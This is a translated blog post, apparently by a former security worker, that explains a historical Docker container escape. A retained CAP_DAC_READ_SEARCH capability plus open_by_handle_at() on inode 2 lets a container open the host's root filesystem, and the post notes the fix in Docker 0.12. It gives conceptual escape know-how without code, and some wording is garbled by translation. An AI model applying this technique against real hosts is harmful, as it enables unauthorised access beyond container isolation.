A docker Security Vulnerability

Recently, I translated another article about docker, which is a security vulnerability and response method released by docker. The address is "breakthrough docker container vulnerability verification code" in the Chinese docker community.

In fact, I have worked on system security for a period of time more than 10 years ago. I also met a bunch of brothers in the security circle. Later, I switched to storage, and I have been paying attention to the security field. The security industry has witnessed rapid development in the past one or two years. I sometimes envy and hate it ......

Back to the technical topic, this vulnerability is easy to understand. In Linux, each process not only identifies permissions based on the UID of the operator, but also has a set of kernel capability, this group of macros starting with CaP _ in the kernel code further defines the permissions of the process.

In the container, that is, inside the container, the permission design is complicated. Processes running in the container are essentially directly running in the kernel space of the host, which is no different from those running on other hosts in the kernel. There are all task_struct. Therefore, to restrict the access permissions of processes in the container and make them feel that they are running in their own independent space, specific parameters must be set in the process data structure. In many kernel calls, fictitious return. For example, for the most basic chroot (), the Container process can only access the specified directory as the root directory.

Attackers (hackers) want to break this restriction and try to access various resources of the host system from the internal processes of the iner. The earliest and most crude attack method is to use various special symbols, such as ".../". This seemingly funny attack method worked very well on UNIX 30 years ago, and many simple vulnerabilities were gradually replaced.

Specifically, the attack method used to access the host system from the docker container is to use the capability of the kernel cap_dac_read_search in combination with the open_by_handle_at () System Call. In versions earlier than docker 0.12, many kernel capability was abandoned before a new container was created, but this one was forgotten. Even the sub-processes in the container inherited the cap. After you have the cap, you can use the system call open_by_handle_at () to directly open the file corresponding to the inode value by specifying the inode value, instead of opening it through the path.Generally, the inode number of the/root file system is 2. Therefore, you can open the root directory of the host system by constructing a Reasonable Parameter Using open_by_handle_at ().. After opening the root directory, you can easily open the following files at will.

Here I will post an English description of this vulnerability in more detail docker breakout Exploit analysis

It is gratifying that docker will discard all kernel capability when creating a new container process after version 0.12. This problem does not exist.

This article is from the computing-storage-Internet blog, please be sure to keep this source http://besmart.blog.51cto.com/8957700/1429979